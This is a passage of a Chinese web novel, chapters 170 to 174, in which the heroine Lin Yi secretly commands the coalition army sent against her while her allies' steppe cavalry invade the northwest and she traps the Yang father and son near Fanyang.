他还暗自感叹来着,为甚都是世族出身,有人为盟主,有人做谋臣?一看性格二看精力,性格强势的人习惯做主,野心勃发,精力充沛的人主宰四方,得陇望蜀,这就是所谓“王气”,能当家做主的从来不会是性格淡泊精力又低,整天歪在轮椅里不肯多走一步路的人。 盟主这精力……哎,也罢了,卢家女的归宿已经不错了,跟着这等少年豪杰总比跟着他这三十岁的老男人强。 林一故作悲痛地让人把哭成泪人的戏哥拉走,没有让这等小配角抢自己的戏,她亲自出门去迎了卢宜这趟带来的子侄们,扶起一个长得最俊帅的卢昭,手按着他的肩膀,“卢叔之死,实在叫人心伤,然大业未成,国恩未报,卢氏这些将士还需要诸位来带领,放心!放心!卢叔放心地去!我王醉不是那等人走茶凉落井下石之辈,阿昭贤弟,今后你来带领卢氏子弟兵,莫负萧君厚望。” 魏朝皇室姓萧,所以在魏朝,萧君是特指魏帝一人的,就像是姓王的世族老爷最多被尊称一声王老爷,而不能像别人那样简称一声张爷胡爷。现在魏朝龟缩,四方势力并起,尊陛下的人比较少,喊萧君的人越来越多,昔日的帝王已经沦落到一方势力之主的地位。 卢氏的几个子弟都愣了愣,愣是没弄明白盟主的任命逻辑,按亲疏远近,卢宜这趟是带了两个亲儿子来的,论贤良才华,最出众的是卢昭的亲哥卢超,最差劲的是卢宜幼子卢祁,他们能大致猜测盟主如果想打压卢氏,会让卢祁接管,如果想做点表面工夫,会让卢宜的长子接手大军,或者是纯粹不要颜面地,挑一个最不亲卢氏的远房族人上位,可是卢昭,不蠢不灵,不远不近,平平无奇的一个人,选他有什么门道吗? 卢氏子弟们面面相觑,都不晓得答案全写在脸上。 卢昭的身体微微颤抖,他觉得盟主不对劲,很对劲,顺着他的肩背在摸什么?摸什么呢?好在林一很快抽回了手,又感觉有一点意犹未尽,手不是很干净,还想拍两下,被崔殊一把接过去,拼命地按住道:“好了好了,盟主,今日大家都很伤心,但也不要因此影响了大捷的心情,晚上还要给将士们庆功。” 林一很遗憾地点了点头。 晚上,林一给众人介绍了降将段凛,段凛没有和众人客套的意思,冷着脸跟在林一身后,杨冰却听过他的名声,很感兴趣地上前敬酒,道:“段将军,早年我游学武威,在那里也曾听过段氏弱水郎的名声,叶老元帅曾经说过,未来当世守将第一,必为段氏子,只可惜游学事忙,段将军又远在居延塞,故此不曾上门拜访。” 段凛微微摇头,只道:“败将不敢言勇,何况那时凛还年少,不过是老将军客居远来,场面之谈,不敢当先生盛赞。” 杨冰还要再说,崔殊端着酒过来把他拉走了,虽然这边敬酒那边敬酒灌下去六七杯,但杨冰还是惦记着段凛,因为他是真的去过雍西四郡游学,当年叶老元帅病重他还去探看过,那时候段凛十六七岁?总之肯定还没及冠。叶老元帅一辈子何曾看错过人……啊不对,好像看错了郑北山,也不对,好像还给女儿看错了夫君,不不不,皇帝纳妃哪有臣子讲情的余地,严格来说叶老元帅也没有看错郑北山,在你有利可图的时候,郑北山可是绝世大孝子。 所以说,是段凛长大之后名不符实了,还是盟主太强太厉害了?杨冰心里有一些细微的疑惑,而聪明人和蠢人的区别就在于,蠢人有时候也能看出点问题,但不会深入地去想,聪明人他会胡思乱想一大通,然后抽丝剥茧找到最接近正确答案的。 晚上躺床上的时候,杨冰就在复盘所有他觉得不对劲的地方,从清晨开始的战事……他短视眼看不清,战事过程,他没有经历过攻城战,这两点暂且忽略。卢宜之死,哦豁这个谁不清楚是盟主暗下的手,也不去想他,然后任命卢昭,任命卢昭……杨冰思维清晰的大脑里忽然浮现出林一出门迎接卢家子弟的那一幕。 六个卢氏子迎面走过来的时候,有的惊慌失措,有的沉着悲痛,还有的垂泪无言,盟主没有去扶哭得最伤心的卢宜长子,也没有去看几个沉着稳重的,唯独从人群里扶住了表现很平常的卢昭,原因是什么呢? 卢昭有什么不同于其他兄弟和堂兄弟的情况吗?杨冰思索了一番,忽然一拍大腿。 卢昭在卢氏子弟中,长得最俊啊! 有了这个模糊的前提,杨冰开始复盘段凛,段凛的表现很冷淡,通常的降将不是这个样子的,要么还有一点骨气不肯和未来同僚相交,要么就是端着酒盏四处敬酒笑脸讨人情,这种冷冷淡淡的像是被抢来的姨太太的风格…… 杨冰横竖是睡不着,披衣下床到窗前,他没有下笔写一首静夜思,而是在寂静的夜里满脑子各种黄暴和悬疑的思路在打架。 隔日上路,各家将主都不满,刚打下来的城池还没享受两天,虽然仗是盟主在打,但是大家行军那么辛苦,高床软枕没蚊子的大城谁不想多住几日,但是这个没得商量,林一预计准备让盟军“打下”常山郡来着。 杨冰一夜都没睡好,赶路的时候为了补觉爬上了林一的咸菜板车上,用一张大叶子盖着脸,没睡一会儿感觉身上多了一堆东西,揭开叶子一看是成捆成捆的豆橛子,面露疑惑之色。 亲卫们还在搬运,有个亲卫擦了把汗,笑着解释道:“先生继续睡吧,这些豆橛子是新收上的军粮,不晓得河南咋样,反正俺们山东河北的一到季节,地里长得最凶的就是它,夏天吃不完,冬天饿得想,这玩意儿要是能耐寒就好了。” 杨冰听了解释一开始没觉得有什么,加上困倦,就盖着豆橛子又睡下了,睡了一小会儿,忽然浑身一震! 山东河北!这是土话的地理方位,对于世族而言更熟悉的是胶东和冀州,这些地界现在全部处于谁掌控之下?段凛最初在中原这边出名,不也是在传他被妖女破城后凌虐了一通,据说是地牢里几天几夜的折磨。 真要是这样,正常来说段凛不可能对盟军这样冷淡,而且叶老元帅曾说他日后应为守将第一人的,当初妖女差点在雍西折戟也是因为他坚守孤城多日直到粮尽,但是昨日盟主只花了一天就破城……? 大夏天的,杨冰如坠冰窟,三十万大军浩浩荡荡来攻妖女,结果带领他们的盟主,很有可能就是妖女本人! 到了晚上,林一下令扎营休整,她自己整了个小锅清水煮豆橛子吃,因为她没怎么吃过,吃着还觉得挺好吃的,但是很多士卒都是满脸难色,吃得满嘴绿色沫子。 段凛同样也不怎么吃过豆橛子,咬了一口觉得滋味还行,他很自然地坐在崔殊边上,略微压低声音道:“这边慢慢带着他们转悠,主君还有时间去范阳战场吗?” 林一琢磨了一下,想到那边女装的王澈,又比划了一下自己和段凛的身高,咧开了嘴巴。 白天装不了,晚上有个人躺帐子里就行,段凛粗着嗓子说话也能学她几分,整个常山郡都是她的人,也不可能在夜里遇到紧急的需要出面的情况。 她正和段凛商量着,故作正直地把脸凑近过去说话,那边杨冰黑着两个眼圈走了过来,见此情况深吸了一口气,刚想说话,忽然有一点疑邻盗斧的心态。 好像,貌似,似乎,盟主看他的眼神,也不怎么清白啊!魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 170-180 第171章 杨冰很紧张,他活了三十来年头一次紧张成这样。作为弘农杨氏六龙之一,他的名声可不是家族炒作出来的,从十五岁出家门游学四方,杨冰在雪域吃过羊,在胶东捞过鱼,在岭南打过野人,也曾游学巴蜀差点失守屁股,总之人生阅历非常丰富。 对上林一看过来的眼神,他先是故作无事地坐了下来,然后没话找话地笑道:“那边灶火烤得慌,叨扰盟主了……诶?那位异域勇士这两天好似不在?” 这是真的没话找话,呼兰霍兰在盟军这边一直很低调,他明面身份是林一的奴隶亲卫,三十万大军忙糟糟的,只是林一身边少个人而已,有注意到的也不会多想,兴许攻城时候死了或者逃了呢?但崔殊和段凛都下意识地看了杨冰一眼。 不怎么对劲。 杨冰略微眨了眨眼睛,又怕被盟主觉得睫毛长,硬生生停住了。林一咧开了嘴巴,笑着说:“他回老家去了,西北那边惯用精锐,五万精锐一出,只许他江骋攻我范阳,不许我去捅他后防?” 哦,原来是回雪域去组织从后方攻打西北,应该是准备从朔方定襄一带去……?! 杨冰才反应过来,硬着头皮说道:“盟主在说什么,我、在下……现在应该懂,还是不懂?” 段凛一只手按在他的肩膀上,还是冷着脸没说话,林一周遭的十几个亲卫的站姿都有一些变化,最大程度地遮住了这边正在发生的一幕。 “别怕,别慌,来坐下谈。”林一示意段凛放开杨冰,崔殊给杨冰挪开一个空位置,林一吃着豆橛子,一口一口咬得清脆嘎吱直响,“老杨不是外人,来来来继续说,之前说到呼兰霍兰被派去打朔方了,这事之前就有组织过,不仅是呼兰部落参战,还联合了雪域中小部落四十多部,苏赫王部为主力,遣骑兵四万,这次主打攻城。” 崔殊看了杨冰一眼,也正经商谈起来,“雪域人善攻不善守,而江骋腹背受敌择一而战时,若选择回防后方,恐怕大本营这边没法及时援助。” 林一说道:“雪域贫瘠,不会久追,我制定的方案是,如果能攻下朔方云中五原三郡,骑兵可以充分发挥,那就以打穿西北后防为主,范阳一线全面拖住西北主力,如果三郡只能下其二,就以范阳为主战场,用后方来拖延西北兵势。” 崔殊也认可这事,杨冰听得入神,忍不住地道:“雪域骑兵凶悍,西北精锐勇猛,那要是万一打得比较寸……” 他比划了一下,到时候雪域打下西北,范阳失守被打了河北胶辽,这不就是等于换家吗?谁亏谁赚都说不准。 林一看了一眼已经在丝滑融入谋臣团队的杨冰,给他在地上画了泥巴地图。杨冰马上就懂了,换家是西北吃亏,因为林一这边有一整个雪域的大后方,还有雍西四郡在手,那好了,三面直接接壤,飞地连成铁板。如果西北这边的精锐打进河北的地盘,五万精锐是能把林一的这些军队按着揍,但五万人要如何吃下这东南半壁江山? 换成杨裳还比较有可能,江骋不会让这种事情发生,所以一旦捅后防比较狠,他就会掉头回援,这波啊,三十万盟军对于林一来说跟空气一样,她左刀右叉就是为了啃西北这块硬骨头。 这一战摊子铺得非常大,但是还在可控范围内,林一吃得好(?)睡得香,次日段凛穿林一的全副盔甲在前军赶路都没人发现她不在。 之所以不在,是因为西北精锐的飞狐陉第一战打响了。 飞狐陉虽是易守难攻之关隘,但对于江骋这种级别的将领难度是真的不算大,与其真败不如佯败损失小,但第一天还是勉强守住了,双方都往回拖了不少战友尸体去掩埋,在拖尸时都默契地没有再打,战场是有约定俗成的规矩在的。 入夜,飞狐陉中把守仍旧森严,远处扎营的西北军帐里,江骋自己卸了臂甲和腿甲后,伸手把兜鍪放在桌案上。今天他是亲临战阵,杨裳在后方指挥全局,这一战他杀敌杀到自己都忘记数字,这会儿褪去铁甲才发觉手臂一直在微微颤抖,正准备松松筋骨,床榻上坐起个身影,是萧玲珑。 她给江骋轻轻按揉起来。 “从前没有和林一交手的机会,但也知道她几分本事,今日她发挥不佳,几次失手,三日之内飞狐陉必破。”江骋说着,眉头皱起,还是道:“但我仍然不赞成在此时兵压范阳,打雍西都比打这里好,后方朔方云中那些地方看似兵多,都是一盘散沙废物,雁门的那些旧将没有几个有本事的,阿父却偏信他们。” 萧玲珑不知兵,但是觉得挺痛快,笑着道:“打范阳也是有好处的,范阳富庶,叫那妖女心疼死!” 江骋一噎,然后就不提打仗的事了,向后仰靠在简陋的床铺上,一只手遮住了眼眉,低声细语地道:“等打下河间,带你去探望老夫人吧,上次匆匆来去,我知道你们之间也有些心结未解。” 那时节,他和萧玲珑远去河间,正赶上林一打下辽东,两人离开时又落魄又丢脸,江骋其实也有些在意这个,只是嘴上不说,萧玲珑却是从小的公主脾气,不仅嘴上说,心里也记着,偶尔夜里还会哭。 说到这个,小公主就高兴起来,难得有些灿烂的笑颜。 次日飞狐陉破,王澈有条不紊地下令撤军,并不是传统佯败的丢盔弃甲,而是整齐的撤军队列,毕竟一个擅长兵事的主君摆在这里,在没有大规模死伤的情况下佯败就不能显得太菜,要像是战略性放弃飞狐陉一样。 其实大规模作战也少有玩花招的,杨裳也是宿将了,都没有觉察到什么,下令不追击,马上要全面接管飞狐陉,战事顺利的话只是多此一举,要是战事不顺,他们可是要守住飞狐陉好让大军安全撤退的。 没有撤至涿县再战第二轮,王澈直接兵归范阳郡城,郡城中大部分世族和平民都已经撤离,成为一座临时军城。 然后林一就回到盟军那边看看情况了,她离开三天都没有回去看一眼,甚至雪域都回去了一趟,呼兰霍兰那边已经在出发前往朔方郡的路上,会盟来的雪域骑兵人数已经有七万之多,她也着实低估了三线作战的压力,盟军战场其实也是很重要的。 嗯……带着盟军在常山郡转圈是真的很重要。 段凛演得很好,大热天的全副盔甲在身,尤其面甲遮盖呼吸不畅,他也忍受住了,三天里甚至还开过两场小会,就是现在盟军这边普遍都是士气旺盛,想要再下一城,没有林一在,段凛不敢自己主持,怕打出真死伤来。 林一回去的第一时间就组织各家将主,圈定下一个攻打目标。 常山郡这边,郡城真定城所在也是驻军所在,林一打真定的时候是因为人家郡守投诚了,不然打下来也可费劲,林一是准备带着大军速攻真定城,给他们来一场大胜的,但是世族将主这边就有些犹豫。 韩和很谨慎地道:“郡城所在难以速攻拿下,倒不如先断其臂膀粮道,比如栾城或者赵县,打仗这种事还是稳扎稳打来得安心。” 其他人也不晓得这是一场主家带着客人参观的军事演习,他们都自觉是在打一场大战来着,连张小刀这次都站在韩和这边,“盟主确实凶,硬是喜欢冲杀打猛仗,但勒回、勒回怕是要去送人头哦!常山郡城勒个地势,一看就晓得啃不动,还不晓得里头藏了好多兵,稳一手嘛,莫莽起整!” 林一两手一摊,无奈地看向许开荒,许*开荒也心虚地移开了视线。 兄弟,不要怪我不支持你哈,实在是你太莽了。 反正就是拖嘛,林一也不在意先打哪边,再次来了举手表决,然后圈定了下一个攻打目标:栾城。 打仗最辛苦是赶路,栾城距离元氏县最短的路线大约五六十里路,考虑到盟军基本上都是步兵,大军行军又会拖慢路程,一两天的时间就能赶到,其实真定也是这么个距离,城池之间相隔距离近也是平原的特点之一。 林一预计花五天时间带领盟军拿下栾城,实际情况要是打敌城,对她一个闪电战专家来说用不了这么久,但这不是军演嘛,军演总是要准备许多的。 世族将主这边发表意见都比较频繁,因为真的懂一些东西,草莽首领那边普遍胡乱发表意见,林一作为盟主学会的第一件事就是两边端水,她端得挺快乐。 入夜,段凛习惯性地往林一的帐子里走,走到一半就顿住了,想回自己的帐子,但是他好像并没有自己的营帐,打从成为“降将”起。青年深吸一口气,踢开了崔殊的帐帘,直接合衣躺在军师旁边。 崔殊睡得很香,一般缺德的人都睡得香,没有良心怎么做噩梦嘛。 第172章 如今正是雪域的夏秋季,一年之中水草最丰美的时节,这时节雪域就是大片大片的草原,骑兵行军时往往只需要驱赶大批牛羊,打仗的成本被无限降低,夏秋季不得互相攻伐的规矩也是因为这个,但凡打出真火来,死伤不可估量。 在苏赫王部一统雪域之后,雪域就迎来了连续两年的和平期,从雍西辽东那边有两条通商粮道,牛羊马匹可以换城过冬的口粮,饿死人的情况大大降低,许多中小部落都毫无疑问地对苏赫王部献上了忠诚。 这对苏赫铎来说没什么用,忠诚又不是对他,他在帐子前烤个土豆还要被格桑大娘批评浪费柴火呢。 我一个王子还不能享受享受了?成天用牛粪烤土豆很文明吗?土豆这玩意儿可是直接就要进口的,放在牛粪堆里烤这合适吗? 总之骄奢淫逸的苏赫铎索性躲在帐子里偷偷用柴火烤土豆了,现在夏秋季快到尾声,今年也是在苏赫平原办的盛会,因为少了老二和王先生,苏赫铎又代管王部,多的是美丽少女来邀他宿夜。胡混了几场后,苏赫铎被好友狄戈从少女的帐子里拖了出来,狄戈对他简直是痛心疾首,问他:“王子是否无有远志?” 啊……苏赫铎想起来了他和好友密谋过的“远志”了。 果然狄戈沉痛地道:“大汗今年四十有七还是四十八来着?记不清了,总之!大汗过了五十岁还能和可敦有多恩爱?我们雪域可不是真的父死子才继啊!阿铎,你明白我的意思,你是长子,你是最有希望的,你不能因为女色而耽误大事啊!” 苏赫铎挠了挠浮夸的胸肌,迟疑地道:“可是我真的有希望吗?可敦喜欢的是阿父那样的智者……” 狄戈指了指草海的方向,震声说道:“呼兰霍兰就很聪明吗?他靠什么?他能靠身子为什么你就不行?你是不是从来没有表达过这方面的意愿?男人不争不抢,只能等着当和尚!” 苏赫铎岔开话题道:“最近中原那边是不是动静有些大?自从阿父回来后,弄了那么大一摊子人。” 狄戈沉重地叹了一口气,没有让他逃过,而是说道:“想想看,阿铎,以后你和其他女人,比如阿真娜吧,她很漂亮,你们有了几个孩子,孩子也很聪明可爱……” 苏赫铎被说得有些神往起来。 “然后,可敦和忽律王子或者乌苏王子有了孩子,他们是实质上的王后,大汗还在的时候也许能护着你,你还有地位和尊严。以后大汗不在了,你作为大哥却要低两位王子一头,如果之后他们的孩子做了王,你的孩子也要向他们行礼,逢年过节你的侄儿坐在高位上,你要为他牵马驾车。” 狄戈按住他的肩膀,“就算是为了孩子,拼一拼吧!苏赫忽律不过是长得好看,你可以比他更骚更浪!我最近找人做了几套衣裳,还请了中原世族的舞姬,阿铎,你还记得我们称霸雪域的梦想吗?” 苏赫铎被说服了,然后听话地穿上了没几块布料的衣裳,他迟疑地看着舞姬的示范教学。 狄戈鼓励道:“记住!称霸啊!做大汗啊!” 苏赫铎差点哭出声来,从前称霸做大汗的梦想里,没掺杂这么多复杂的东西,他想着的是自己从战场上杀出一个不世英雄的传奇来,没人告诉他现在称霸的门槛这么高。 到底谁家霸王需要学晃皮鼓的。 西北精骑踏过飞狐陉不久,林军在范阳城郊和西北精骑干了一场大的,这次就没用上王澈女装了,而是林一趁着夜色打了一场袭击。杨裳和江骋不是林一见过的任何废物将军,硬生生把夜袭打成了正面战事,双方都是披坚执锐,从深夜战至天光大亮,林一撤走。 五万西北狼,骨头硬得很,很是难啃。 接连十几日都是互有胜负,林一一直等到范阳城中军民撤走,才拍拍翅膀溜了溜了。 七月的天仍然暑热难耐,范阳城中有世族的冰窖留存,郡守府内摆放着冰盆解暑,城中大军来来往往,虽然很多大户都中门大敞,但愣是没有一个士卒敢踏足去捡些零碎,城头旗帜变换,杨裳正和老部下们以及太原上党的几个世族来人大谈庆功,瞥见江骋沉默捣冰。 他对江骋是很看重的,这可是上了家谱列在他名下的儿子,和亲生的几乎没有差别,所以就算心里不快,也没有点明,而是故作玩笑着道:“骁儿沉着,破了郡城这样的功绩,都不值当我儿一个笑脸?” 旧部知晓杨裳心意,连忙捧着说道:“少将军神勇无双,眼界也高,额老赵眼皮子浅,感觉这仗能写上墓志铭嘞!” 江骋放下冰镇的酸梅汤,想说些什么又咽下去了,庆功叙话的场合,他开口总是显得不合时宜。 就在这时,外面飞马来报,传令兵连口水都没喝,策马奔驰到门槛前才停,人从马上跳下,先呈送书面信函,再磕头报信道:“报将军,十日前朔方遭袭,雪域骑兵南下攻打朔方,十万骑兵如入无人之境,属下来时朔方已失四城,郡城被围,援军道路被断。令出为止,共有三十路传令兵,属下先至。” 刚打下范阳郡城的兴奋像杨裳脸上的血色褪去,众人一下子如同被冰雹砸懵,见杨裳还没回过神来,江骋起身扶起传令兵,问:“失了哪四城,为何被轻易下城?云中援军由谁率领?” 传令兵一一回答,传令兵不是林一那边的戏哥,不会哭哭啼啼传达战报,脸上满是坚毅和沉着之色,问什么都能清晰地答上来。 这会儿杨裳也反应过来了,坐在郡守的高位上,怒声道:“朔方郡是出了内鬼了,我们打朔方时何曾有这样轻易,十几日都难下一城,援军都打不通道路吗?那要云中郡守做什么?” 江骋瞅他一眼,朔方和云中的郡守都是跟了杨裳二十年以上的老兄弟了。 坐回位置上,之前声音最大的雁门旧部就不吭声了,几家世族谋臣开始说话,江骋沉默许久,说道:“回防吧,及时止损,来时虽然有预料朔方可能遭袭,但……” 但没想过会被打得这么快,实际上云中和定襄那边的驻军不少,也都安排了可信的将领,可是这种级别的闪电战背后都有极强的军事指挥,从前只听过兵如水势,哪里听过将如水势,隔着这么远的距离,林一被拖在这里,在指挥朔方战事的究竟是谁? 杨裳思索片刻,犹豫着道:“就算朔方被占,雪域骑兵想打到云中也不容易,反而我们这边倘若速下范阳再回援,就分割了林女的两块重要地盘,从战况来看,河北这边不堪一击。” 确实,范阳这里可是大片大片的富庶良田,西北苦寒,杨裳才刚进范阳郡城呢,这辈子哪享过这样的福气。 江骋很少和杨裳坚持什么,但这次坚持地道:“回防,而且不能分兵,精锐必须马上回防,阿父,我怀疑这是做局,肉越肥,圈套越深,如果失了西北,雪域骑兵就能直下中原,到时候不是我们一家之难。” 杨裳有些被劝服了,却有人小声地道:“咱西北老家,哪有这里舒坦……” 江骋猛然拔出腰侧金刀压在说话那人的脖颈上,黑眸冷寒看着他。 这人吓坏了,说话的不是杨裳军中的老兄弟,而是雁门杨氏本家的子侄,连打仗都没靠近过战场的货色,在这样血煞横暴的气势逼迫之下,本能地抖成筛子,脖子在雪亮刀刃上撞出几道浅浅的血痕来。 “罢了罢了,骁儿饶他一命。”杨裳也是头疼,只道:“让将士们挨家挨户收拾些金银细软,也算没白破城一趟,趁着天还早,走!” 其实杨裳不在意战利品,但打仗需要激励军心,范阳城中的大户收拾得再干净,也带不走全部,糊窗户的还是丝绸呢,扯下,揣怀里!桌椅柜子上金子镶的边,撬走!珍珠装点的门帘,拽下来! 也不知道谁还背上了后厨的大铁锅,好家伙世族家里头的铁锅是真厚实啊,可以打一副铁甲了。 林一是准备放西北精锐们回防的,啃不动硬啃就是在拼死伤了,她屁股后头还有三十万盟军在常山郡转悠呢,但很快她这边也收到了战报,从朔方那边发过来的战报。 在她穿个马甲混入盟军的同时,苏赫阿那从浮阳出发北上返回雪域,林一忙得没有回去看过一眼,自然也不知道在她把呼兰霍兰放回雪域让他组织些人手捅一下西北后防的时候,苏赫阿那就已经召集雪域之中大大小小的尊王部落六十七家。其中以苏赫部落十二万骑兵为主,各家部落联合出兵,共计三十万骑兵,在夏秋水草最丰美的时节,驱赶着大量牛羊作为军粮,浩浩荡荡南下攻打西北。 根本不是闪电战,而是骑兵碾压局。 第173章 苏赫王部原先只有两个万骑长,叶利诃和克托,原先骑兵没那么多,但在吃下克烈部之后,马匹数目大大增加,又因为战事起来之后赖掉了魏朝的那笔账(粮食交易的后续),这两年哐哐地出骑兵。 骑兵一多,万骑长也随之增加,首先第一个升任的是秃发兀耶,这点不意外,从他刚刚崭露头角开始就没人怀疑过他不能成为万骑长。第二个是原来的叶撒千骑,他是林一夸过的会带着脑子打仗的小伙儿。第三个也是实至名归,健妇军的女兵教习赵春儿,她专门为女兵设计了马上和马下的杀人连招,在成军的健妇之中声望仅次于格桑大娘。 而格桑是去年就成为万骑长的,一家双万骑长!苏赫王部没有个真的小公主,两人刚刚可以到年纪参加夏秋季的女儿阿依差不多就是这么个地位了,两个月前就有好几个王子为追求她打了起来,最后小姑娘一个都没要,王子只是地位的区别,真不一定有多俊俏。 还有就是阿真娜的那个千骑长父亲了,这位和三个妻子一共生了四个漂亮女儿的英雄父亲,一直都是苏赫王部自己的全民老丈人,阿真娜的一个姐姐也在去年嫁给了秃发兀耶。这样在资历和人品都没什么问题的情况下,谁不愿意支持老丈人一票呢? 这趟大举南下,苏赫阿那也是难得魄力充足,除了格桑和克托留守王部之外,甚至远从北都还调了三万骑兵过来,随军用作军粮的牛羊数不可估算,而呼兰霍兰和他的草海联盟……啊,打先锋还是打得很不错。 说真的,中原那边(雪域人的中原泛指一切农耕地区)的流言蜚语是传不到雪域的,所以很多人甚至把呼兰霍兰也当成捕风捉影的事,毕竟年轻人虽然卖相好看,但是真论魅力,谁有带着三十万骑兵的大汗有魅力! 西北人觉得自家苦寒,羡慕河北,雪域人觉得西北简直富庶到没边,地里能长出粮食来,打下了西北,部落就能分到农田,再也不用灾年扔老人,过上衣食丰足的日子。 往年跟着克烈部的时候,都只是南下就食,解决青壮在冬季的温饱问题,都有十几家愿意拿出命来跟着拔都干呢,何况是这种级别的承诺了,不是所有人都向往富庶的中原,但分好处不能没有我! 苏赫阿那是和各家族长喝过血酒的,定下了严格的盟约,中原地多,雪域人少,此战若胜,愿意迁徙的搬到中原分田地盖房屋,想要留在雪域的按功劳分草场,而无论胜败,苏赫王部让出黄金草场作为此次最大的利益,至于是迁到雍西还是南迁中原,看这次的结果。 三十年风霜雨雪的积累,就赌这一次能为林一定鼎江山了。 是的,苏赫阿那不打小战,他从年轻时就分外惜兵,将每一个苏赫骑兵的生死系在自己身上,王澈眼中的有名将之才而无名将之狠,但乱世到如今,厉兵秣马数年,要眼看着林一从无到有打下的半壁江山被分吃,天下重归战火中吗? 苏赫阿那的答案是,战! 大军席卷南下时仍然保持着一丝克制,只克城不攻村镇,绕行平民聚居之地,每下一城则在城中圈定一块“不攻之地”,苏赫阿那对各家族长的解释是:“学拔都那一套只会人心向背,只能劫掠一时,想要让子子孙孙安居乐业,在中原的种地过活,在雪域的贸易通商,最开始就不要结下血仇。” 朔方是久历战争之地,上次江骋打朔方时就用过断绝粮道的狠计,抗争意愿不高,刀架在脖子上有人拼命,刀没有架在脖子上,而且在苏赫阿那连下两城后都没有大肆屠杀,甚至连抢掠的事情都极少发生,多是一些小部族控制不住底下的青壮,战时军规森严,抓了几次典型后也不再发生,其他的城池听闻风声就很难再死守下去了。 传令兵在抵达范阳的同时,朔方郡城就被攻陷四门,苏赫阿那进城后的第一时间就打开了郡城内的粮仓,秋收不久,郡城的三个大粮仓还没有装满,各家族长都很高兴,苏赫阿那在清点过后,留下一半的粮食作为后续的军粮,因为缺少人手,也没有像林一打辽东时那样各家各户上缴多少粮税就还回去多少,一是扣留了太多,二是没有那个时间,但他仍然有办法。 苏赫骑兵和呼兰联盟的骑兵通常是合兵一处作为先锋营的,这次呼兰霍兰亲自带队,其实呼兰族老们很担心他不服苏赫阿那闹出什么乱子,但实际上行军一路以来,族老们发现担心得早了。 别说不服闹乱了,呼兰霍兰几乎像是儿子一样听话,除了不和苏赫阿那打照面,一切军令靠转达之外,他简直指哪打哪,不知情的还以为这位骁勇战将不是呼兰霍兰,而是苏赫铎呢。 族老们也是郁闷,霍兰啊……你这,还不如不服闹一闹呢,我们漂漂亮亮的呼兰小伙不能卑微成这样啊! 大军从朔方境内穿行而过,不同于后营押送辎重的传统行军方式,反倒是先锋军中押运大量粮食,每过一个村镇,就由骑兵下马搬货,点清人头给这些朔方的百姓派粮,大多时候都很顺利,朔方这边气候和中原有区别,马上冬天就要来了,能让自家多一个粮缸被填满,谁不愿意啊?最多是没那么感恩戴德,村里贤老还会骂一些贼兵收买人心之类的话,但该拿还得拿。 呼兰霍兰不光把派粮这事完成得很好,有时候还会亲自去搬粮袋,他力气大,一个人能顶三五个青壮骑兵用,在外人看来简直是忠诚得不能再忠诚了。 林一那边也很快收到了这边的消息,飞来看过情况之后也是果决,没时间和苏赫阿那过多感激温存之类,进屋抱了一下就走,她现在无比振奋! 说实在的,林一这几个月来的压力是有一些的,盟军三十万你不能真的当傻子糊弄,其实她大部分时间都是用来和盟军磨耗,西北趁势来攻也不是一步臭棋,要是盟军这边攻势凶,再加上西北精锐深入腹地捅刀子,刚刚建立起来的政权一夕之间分崩离析不是不可能,从她几个月以来最多是骚扰骚扰漂亮男娃就可以看得出来,她连性生活都没时间了,也是真的忘记了苏赫阿那,在她看来男人平平安安待在家里就是一种安慰了。 没想到,没想到她的大汗会这样倾力帮她,一个人的一生能掀起多大的浪潮?苏赫阿那用半世的威名,为她掀开西北这一片天! 林一立刻做出决策,打!把西北精锐拖死在河北,她这边要抢占飞狐陉,段粮道,守住这块关隘,以范阳为囚笼,锁死江骋这匹西北狼! 诶对了,江骋好像不是西北人啊。 蒜鸟,蒜鸟。 四日后朔方全境被下,林一抽空过来参加了一下雪域联盟这边的会议,最后确定下一步攻打五原和云中郡,这是当然的事,打仗这种事,大兵团作战不一定能赢,但在对方兵力不足的情况下,想输还是需要一些抽象的天赋。 好在苏赫阿那这边没人有,在建立多条稳定的补给线之后,下一步兵发五原郡。 林一这边并不轻松,杨裳那天撤军很及时,路上被阻击了两次都没有影响回程的节奏,不得已林一设伏了一回,压了三万的精锐甲兵,双方开战,鏖战两日,林一亲自上的战场,没有找到江骋,看到了战车上的杨裳,除了战车守备,又约莫有三千亲卫远弓近盾地把杨裳围成铁桶,林一勉强地杀到杨裳面前,准备一爪子给他开瓢,就在这时她仔细一把打掉这人的面甲,瞅了瞅“杨裳”的面容。 是的,林一和杨裳见过,也许杨裳自己不记得了,但在魏朝还维持着最后的太平表象的那年,他送过最后一个和亲公主来雪域,和亲对象是当初克烈部的王子巴特铁木尔,林一见过他。 这个铁桶里的居然不是杨裳本人,林一马上放弃掉,骑上马折回自家战阵。 杨裳和江骋都在不远处的战车附近观望,江骋脸上染血,伸手擦了一把,“有些危险了,不光被拖着离不开,而且她准备斩主将,让我们自溃。” 杨裳这辈子经历的战事不少,比江骋还要冷静许多,说道:“为今之计,弃卒保车,骁儿你带着少部分人先藏起来,明日再开战,我带着老兄弟们吸引她的注意力,骁儿人少,可以绕开飞狐陉,回西北去。” 江骋顿住,黑眸盯着杨裳,几乎有些不可置信。 半路父子,真要为他做到如此地步? 杨裳注意力却不在他身上,死盯着林一离开的方向,发狠道:“是我杨无衣庸碌,一意孤行带累我儿,这次回去,守住我雁门杨家!” 江骋沉默,没有应答,但握住了杨裳拍在他肩头的手。 第174章 西北这边最大的失误是全程以为林一在常山郡投入了大量的兵力,林一作为盟军的盟主,西北传令先过她这边的手,别说那些草莽首领了,战场隔绝的情况下,连世族将主没几个蠢货的,都是她说什么是什么。 除了脑子里住着一个汪洋大海的杨冰,谁会以为三十万盟军之主会是传闻中的妖女本人啊!盟主不还养着一群营妓的吗?背地里说小话的可不少,自家养一大群营妓,从来不分润下属,你一个不到二十的年轻人,睡得过来嘛?当然,如今常山郡基本已经在手,对盟军来说,能带着他们胜利的就是好盟主。 言归正传,这次三线作战是林一创业以来遇到的最大危机,隔壁江东王都傻了眼,答应和林一联盟不代表他是个老好人过来帮忙的,而是有事恁上,窝就在这块儿站着看情况,你要是输掉了我就吃你几块肉,你要是赢了我可以帮帮场子。这点林一心知肚明,把江东绑上战车无非是怕这边三面作战,陆行脑子一抽也跟着过来咬她后方。 总之在情报被盟主本人过两道手之后,西北以为盟军牵制了林一的主力军队,盟军以为林一把兵力投入了范阳战场,而林一这次的主力也确实是在范阳战场这边,她连巨鹿都没有留驻军,在自家的地盘上将杨裳和江骋父子团团围住,从杨裳的经验来看,包围他们的至少有十二万训练有素的甲兵。 